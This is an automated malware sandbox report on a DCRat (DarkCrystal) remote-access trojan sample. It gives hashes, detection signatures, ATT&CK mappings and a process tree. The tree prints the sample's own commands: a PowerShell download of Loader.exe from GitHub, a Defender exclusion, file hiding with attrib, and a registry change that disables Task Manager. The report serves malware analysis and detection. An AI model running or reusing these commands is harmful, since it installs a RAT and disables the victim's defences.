dcrat | 3ea1536d0ef8354708bf8f81e540e2e69a20bea0ccfabf3c9d36cc99c07192d7

Analysis

max time kernel
31s
max time network
34s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
17-06-2024 11:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Start.bat
Size

2KB
MD5

256c64348b3f43b571e91667ac1a1e36
SHA1

6cd440a5e6a9a5ba70102635a94d0433049afb00
SHA256

3ea1536d0ef8354708bf8f81e540e2e69a20bea0ccfabf3c9d36cc99c07192d7
SHA512

77d9c2ebff2d65e24282443f2ce708deedc1a11e62478c794279e933a1a54982a44cd8dea803d8c41166059d9e57b7c6b0e37c714acc72e7c6ca49196d7201e0

Score

10^/10

dcrat evasion execution infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x000200000002aab0-44.dat	dcrat
behavioral1/files/0x000100000002aab3-56.dat	dcrat
behavioral1/memory/3388-58-0x0000000000E80000-0x000000000103A000-memory.dmp	dcrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1364	powershell.exe
3	1364	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3708	powershell.exe
2976	powershell.exe
1364	powershell.exe

Disables Task Manager via registry modification
evasion

Executes dropped EXE 2 IoCs

pid	Process
412	Loader.exe
3388	Websaves.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings	Loader.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1268	reg.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3708	powershell.exe
3708	powershell.exe
2976	powershell.exe
2976	powershell.exe
1364	powershell.exe
1364	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3708	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	1364	powershell.exe
Token: SeDebugPrivilege	3388	Websaves.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4736 wrote to memory of 3708	4736	cmd.exe	80
PID 4736 wrote to memory of 3708	4736	cmd.exe	80
PID 4736 wrote to memory of 1196	4736	cmd.exe	81
PID 4736 wrote to memory of 1196	4736	cmd.exe	81
PID 4736 wrote to memory of 2976	4736	cmd.exe	82
PID 4736 wrote to memory of 2976	4736	cmd.exe	82
PID 4736 wrote to memory of 1524	4736	cmd.exe	83
PID 4736 wrote to memory of 1524	4736	cmd.exe	83
PID 4736 wrote to memory of 1364	4736	cmd.exe	84
PID 4736 wrote to memory of 1364	4736	cmd.exe	84
PID 4736 wrote to memory of 2732	4736	cmd.exe	85
PID 4736 wrote to memory of 2732	4736	cmd.exe	85
PID 4736 wrote to memory of 412	4736	cmd.exe	86
PID 4736 wrote to memory of 412	4736	cmd.exe	86
PID 4736 wrote to memory of 412	4736	cmd.exe	86
PID 4736 wrote to memory of 4248	4736	cmd.exe	87
PID 4736 wrote to memory of 4248	4736	cmd.exe	87
PID 412 wrote to memory of 2960	412	Loader.exe	88
PID 412 wrote to memory of 2960	412	Loader.exe	88
PID 412 wrote to memory of 2960	412	Loader.exe	88
PID 2960 wrote to memory of 224	2960	WScript.exe	89
PID 2960 wrote to memory of 224	2960	WScript.exe	89
PID 2960 wrote to memory of 224	2960	WScript.exe	89
PID 224 wrote to memory of 3388	224	cmd.exe	91
PID 224 wrote to memory of 3388	224	cmd.exe	91
PID 224 wrote to memory of 1268	224	cmd.exe	93
PID 224 wrote to memory of 1268	224	cmd.exe	93
PID 224 wrote to memory of 1268	224	cmd.exe	93

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1524	attrib.exe
2732	attrib.exe
4248	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Start.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -window hidden -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3708
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath "C:\
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2976
- C:\Windows\system32\attrib.exe
  attrib +h "GoogleDrives" /s /d
  2⤵
  - Views/modifies file attributes
  PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Invoke-Webrequest 'https://github.com/EzKaProject/Loaders/raw/main/Loader.exe' -OutFile Loader.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1364
- C:\Windows\system32\attrib.exe
  attrib +h "Loader.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:2732
- C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe
  Loader.exe
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\ewm9etKbRI.vbe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\I6Mb37.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:224
    - - C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe
        
        "C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3388
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:1268
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:4248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe

Filesize
2.0MB

MD5
45d13fd3e101e33acbf271e0537de18f

SHA1
458e41068922768361650fb05e7d767e7676becf

SHA256
5198ac4261ef383b871b095d7d8ddb16738675d4186dd3a39cb7667e48533a51

SHA512
bdf188380d77538bf463c1e854a0e2046249278bd25fb081115043e54ddb5e2df19bae971e9c2701329de9d932d3a897265363861a406f9caeb933c27020837e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
b698e32d0304217b19b5d9bdb54dc695

SHA1
d839a6bae60d3e4ce89bba63577cfac0f01525eb

SHA256
7ba7436fa154eb729d321d2b5e4ee44cebb6a8ecb864798a444909bd80b4cf12

SHA512
de05eb79e082a59a442efd0181205619468a27f1ed24c4027b01bfeba2e3f1cd426441f3371a3393d645b2fcf8b6255c1f4d9ed343b6c106ffdf19466c3007e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itp11ism.3bx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\I6Mb37.bat

Filesize
157B

MD5
3fc845936177bf46cc9cb858e256b08d

SHA1
ba502e666415cc3228ef61ae0be2564d6a01e4c2

SHA256
c2319812c733ab383ddaa29bfb68594f4c5b10dbfdc9192766962ebe5a4baece

SHA512
5e847379381516045d68a9275cb0f71cfe207ead9343371949b9c03ed73e2a6b265612ddfdd14549bb546716dda6d2184e97aea21747f0f7fede4df5ddd11d86

Download Submit
C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe

Filesize
1.7MB

MD5
f74442723cdb0a6e567316fe8778125e

SHA1
7c1ff5d71f73ca1eee0593d4c3d8d630ecd58b33

SHA256
785c55be43d387e65634c031b3a7184d8d008473ae4144c8e427ceada2e4c991

SHA512
d3968c33a0444a9204bddfba2b9dd5302160e2a90c4aa0458b41cbf67530ce96f37007ab8ac87d90889828c72c16c1ec4498a749ab04af1940a3ae054bb300af

Download Submit
C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\ewm9etKbRI.vbe

Filesize
207B

MD5
be8c2a530a96e0cceae0cdc34bf34287

SHA1
dbf3fddc7445a46dab5f3f514fd834597dd0a23f

SHA256
4a48e7f5facfc14a7e9a0fbd6715dab969e4a36913b7f757875f2657707a2c38

SHA512
6508dfc80702fb2b639d7e8b52509a45415009f0784537149e1cee1b95b8d65bb3de5d0e401d0a6b4832cfd4a4061a71d057a7bbdb67f161a29afc8d7d0c06e7

Download Submit
memory/2976-17-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/2976-28-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/2976-29-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/2976-30-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/2976-32-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/2976-18-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/3388-58-0x0000000000E80000-0x000000000103A000-memory.dmp

Filesize
1.7MB

Download
memory/3388-60-0x0000000001770000-0x000000000177E000-memory.dmp

Filesize
56KB

Download
memory/3388-59-0x0000000001760000-0x000000000176E000-memory.dmp

Filesize
56KB

Download
memory/3708-0-0x00007FF880483000-0x00007FF880485000-memory.dmp

Filesize
8KB

Download
memory/3708-15-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/3708-12-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/3708-10-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/3708-11-0x00007FF880480000-0x00007FF880F42000-memory.dmp

Filesize
10.8MB

Download
memory/3708-9-0x000001807FEF0000-0x000001807FF12000-memory.dmp

Filesize
136KB

Download